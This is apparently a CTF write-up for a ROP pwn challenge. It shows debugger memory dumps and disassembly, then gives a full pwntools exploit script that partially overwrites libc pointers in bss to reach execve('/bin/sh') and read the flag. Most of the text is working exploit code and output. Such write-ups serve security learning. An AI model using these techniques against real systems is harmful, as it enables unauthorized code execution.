gadgets After libc_csu had removed from binary, useful gadgets such as pop rdi; ret; had been disappeared from most of the binary.
Also, due to the binary was too simple and built with some optimization flags, no instruction exists like mov rax, <ro addr>; mov rdi, rax; call puts;.
What should we do such a terrible situation? As a result, I decided to use this gadget.
0x0040115c: add [rbp-0x3d], ebx; nop; ret;
Now, how can we control ebx?
Here, I remembered most of I/O function such as puts, gets push FILE pointers to the stack.
This kind of behavior sometimes annoys me because it destroys the rop chain I've built in bss.
0x000000404718|+0x0000|+000: 0x0000000000000000
0x000000404720|+0x0008|+001: 0x00007e703fe93975 <_IO_file_write+0x35> -> 0xc329482678c08548
0x000000404728|+0x0010|+002: 0x00007e70400045c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887
0x000000404730|+0x0018|+003: 0x0000000000000001
0x000000404738|+0x0020|+004: 0x00007e7040004643 <_IO_2_1_stdout_+0x83> -> 0x005710000000000a <- $rsi
0x000000404740|+0x0028|+005: 0x00007e7040002030 <_IO_file_jumps> -> 0x0000000000000000
0x000000404748|+0x0030|+006: 0x0000000000404788 -> 0x00000000004047b8 -> 0x0000000000404808 -> ...
0x000000404750|+0x0038|+007: 0x00007e703fe92571 <_IO_do_write+0xb1> -> 0x008083b70fc68949
0x000000404758|+0x0040|+008: 0x0000000000000000
0x000000404760|+0x0048|+009: 0x00007e70400045c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887
0x000000404768|+0x0050|+010: 0x000000000000000a
0x000000404770|+0x0058|+011: 0x00007e70400045c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887
0x000000404778|+0x0060|+012: 0x0000000000404010 <stdout@GLIBC_2.2.5> -> 0x00007e70400045c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887
0x000000404780|+0x0068|+013: 0x00007e7040002030 <_IO_file_jumps> -> 0x0000000000000000
0x000000404788|+0x0070|+014: 0x00000000004047b8 -> 0x0000000000404808 -> 0x0000000000404800 -> ...
0x000000404790|+0x0078|+015: 0x00007e703fe92ef3 <_IO_file_overflow+0x103> -> 0xffff63850ffff883
0x000000404798|+0x0080|+016: 0x00007e7040005720 <_IO_stdfile_0_lock> -> 0x0000000000000000
0x0000004047a0|+0x0088|+017: 0x0000000000000000
0x0000004047a8|+0x0090|+018: 0x00007e7040005720 <_IO_stdfile_0_lock> -> 0x0000000000000000
0x0000004047b0|+0x0098|+019: 0x00007e70400045c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887
0x0000004047b8|+0x00a0|+020: 0x0000000000404808 -> 0x0000000000404800 -> 0x00007e7040230000 <_rtld_global> -> ...
0x0000004047c0|+0x00a8|+021: 0x00007e703fe87dda <puts+0x1fa> -> 0xfffe9f850ffff883
0x0000004047c8|+0x00b0|+022: 0x0000000000000000
0x0000004047d0|+0x00b8|+023: 0x0000000000000000
0x0000004047d8|+0x00c0|+024: 0x0000000000000000
0x0000004047e0|+0x00c8|+025: 0x00007ffd1f1065e8 -> 0x00007ffd1f10782f -> 0x73742f656d6f682f '/home/tsuneki/dc/ctf/upsolve/make-rop-great-again/chall' <- $rbx
0x0000004047e8|+0x00d0|+026: 0x0000000000000001
0x0000004047f0|+0x00d8|+027: 0x0000000000000000
0x0000004047f8|+0x00e0|+028: 0x0000000000403dc8 <__do_global_dtors_aux_fini_array_entry> -> 0x0000000000401140 <__do_global_dtors_aux> -> 0x2edd3d80fa1e0ff3 <- $r14
0x000000404800|+0x00e8|+029: 0x00007e7040230000 <_rtld_global> -> 0x00007e70402312e0 -> 0x0000000000000000 <- $r15
0x000000404808|+0x00f0|+030: 0x0000000000404800 -> 0x00007e7040230000 <_rtld_global> -> 0x00007e70402312e0 -> ... <- $rbp
0x000000404810|+0x00f8|+031: 0x00000000deadbeaf
0x000000404818|+0x0100|+032: 0x0000000000000000
I considered to make meaningful pointer with doing partial-overwrite some part of these pointers.
Then, I found it when I disassemble around _IO_do_write+0xb1.
0x000000404750|+0x0038|+007: 0x00007e703fe92571 <_IO_do_write+0xb1> -> 0x008083b70fc68949
gef> x/40i 0x00007e703fe92571
0x7e703fe92571 <_IO_new_do_write+177>: mov r14,rax
0x7e703fe92574 <_IO_new_do_write+180>: movzx eax,WORD PTR [rbx+0x80]
0x7e703fe9257b <_IO_new_do_write+187>: test ax,ax
0x7e703fe9257e <_IO_new_do_write+190>: je 0x7e703fe92585 <_IO_new_do_write+197>
0x7e703fe92580 <_IO_new_do_write+192>: test r14,r14
0x7e703fe92583 <_IO_new_do_write+195>: jne 0x7e703fe925f0 <_IO_new_do_write+304>
0x7e703fe92585 <_IO_new_do_write+197>: movq xmm0,QWORD PTR [rbx+0x38]
0x7e703fe9258a <_IO_new_do_write+202>: mov eax,DWORD PTR [rbx+0xc0]
0x7e703fe92590 <_IO_new_do_write+208>: movdqa xmm1,xmm0
0x7e703fe92594 <_IO_new_do_write+212>: movq QWORD PTR [rbx+0x28],xmm0
0x7e703fe92599 <_IO_new_do_write+217>: punpcklqdq xmm1,xmm1
0x7e703fe9259d <_IO_new_do_write+221>: movups XMMWORD PTR [rbx+0x8],xmm1
0x7e703fe925a1 <_IO_new_do_write+225>: movups XMMWORD PTR [rbx+0x18],xmm1
0x7e703fe925a5 <_IO_new_do_write+229>: test eax,eax
0x7e703fe925a7 <_IO_new_do_write+231>: jle 0x7e703fe925e0 <_IO_new_do_write+288>
0x7e703fe925a9 <_IO_new_do_write+233>: movq xmm0,QWORD PTR [rbx+0x40]
0x7e703fe925ae <_IO_new_do_write+238>: xor eax,eax
0x7e703fe925b0 <_IO_new_do_write+240>: cmp r12,r14
0x7e703fe925b3 <_IO_new_do_write+243>: movq QWORD PTR [rbx+0x30],xmm0
0x7e703fe925b8 <_IO_new_do_write+248>: setne al
0x7e703fe925bb <_IO_new_do_write+251>: neg eax
0x7e703fe925bd <_IO_new_do_write+253>: add rsp,0x8
0x7e703fe925c1 <_IO_new_do_write+257>: pop rbx
0x7e703fe925c2 <_IO_new_do_write+258>: pop r12
0x7e703fe925c4 <_IO_new_do_write+260>: pop r13
0x7e703fe925c6 <_IO_new_do_write+262>: pop r14
0x7e703fe925c8 <_IO_new_do_write+264>: pop r15
0x7e703fe925ca <_IO_new_do_write+266>: pop rbp
0x7e703fe925cb <_IO_new_do_write+267>: ret
Now rbx,r12,r14,r15,rbp have been controllable. I didn't intend r15,r12,rbx also used in execvpe to control arguments.
0x00007e38daaef005 <+69>: mov rsi,r15
0x00007e38daaef008 <+72>: mov rdx,r12
0x00007e38daaef00b <+75>: mov rdi,rbx
0x00007e38daaef00e <+78>: call 0x7e38daaeef30 <__GI_execve>
0x00007e38daaeef30 <+0>: endbr64
0x00007e38daaeef34 <+4>: mov eax,0x3b
0x00007e38daaeef39 <+9>: syscall
0x00007e38daaeef3b <+11>: cmp rax,0xfffffffffffff001
0x00007e38daaeef41 <+17>: jae 0x7e38daaeef44 <__GI_execve+20>
0x00007e38daaeef43 <+19>: ret
0x00007e38daaeef44 <+20>: mov rcx,QWORD PTR [rip+0x113ead] # 0x7e38dac02df8
0x00007e38daaeef4b <+27>: neg eax
0x00007e38daaeef4d <+29>: mov DWORD PTR fs:[rcx],eax
0x00007e38daaeef50 <+32>: or rax,0xffffffffffffffff
0x00007e38daaeef54 <+36>: ret
This exploit succeed with 1/4096 luck 😢
from pwn import *
from icecream import ic
import sys
import re
import inspect
e = ELF("chall",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
while(True):
nc = "nc 127.0.0.1 7428"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 0
g_script = """
#set max-visualize-chunk-size 0x300
b *execve+0x40
c
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sln = lambda b: io.sendline(str(b).encode())
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
fsp = lambda b : f"%{b}$p".encode()
shell = lambda : io.interactive()
def hl(v: int): print(f"{(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}")
payload = b""
def rst():global payload;payload = b"";return;log.info("***PAYLOAD RESET***")
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
def hlt(): return
add_rbp_0x3d_ebx = 0x0040115c#: add [rbp-0x3d], ebx; nop; ret;
#add_rbp_0x3d_ebx = 0x00401157#: add eax hoge; add [rbp-0x3d], ebx; nop; ret;
pop_rbp = 0x004011e9
rbp = 0x404800
leave_ret = 0x004011d4#: leave; ret;
ret = 0x004011f8
targ = rbp - (0x404800 - 0x000000404750)
targ2 = 0x0000004047a8
binsh = 0x000000404e58
rst()
pay(
b"A"*0x10,
rbp,
0x04011be, # gets(rbp-0x10)
)
hlt()
sl(payload)
rst()
pay(
b"B"*0x10,
rbp,
e.plt["puts"],
pop_rbp,
targ + 0x8 +0x10,
p64(ret)*0x40,
0x004011be, # gets(rbp-0x10)
p64(ret)*0x40,
pop_rbp,
0x404600,
0x004011be, # gets(rbp-0x10)
p64(ret)*0x40,
pop_rbp,
targ + 0x8 +0x10,
0x004011be, # gets(rbp-0x10)
b"/bin/sh\x00",
)
hlt()
sl(payload)
rbx = 0x100000000 - 0x00007e6d75005700 + 0x00007e6d74eef005
rst()
pay(
rbx,
0x1212121212121212,#r12,
0x000000404b20, #r13
leave_ret, # gets(rbp-0x10), #r14
0x1515151515151515,#r15,
targ2 + 0x3d,# rbp
add_rbp_0x3d_ebx,
pop_rbp,
0x000000404e00,
leave_ret,
)
hlt()
sl(payload)
#a = int(input("0x000000404750 >>> "),16)
rst()
pay(
b"C"*0x10,
rbp,
p64(ret)*(41),
p16(0x25c1),
p8(0xa9)
#a & 0xffffffffffffff00 | 0xc1,
)
hlt()
sl(payload)
rst()
pay(
binsh, #rbx
0,#r12,
targ - 0x8, #r13
leave_ret,
0x0,#r15,
targ2 - 0x8, #rbp
0x00401157,
0x00401157,
0x00401157,
0x00401157,
)
payload = payload[:-1]
hlt()
sl(payload)
sl(b"cat flag*")
a = io.recvall(timeout=0.3)
if b"flag" in a:
print(a)
break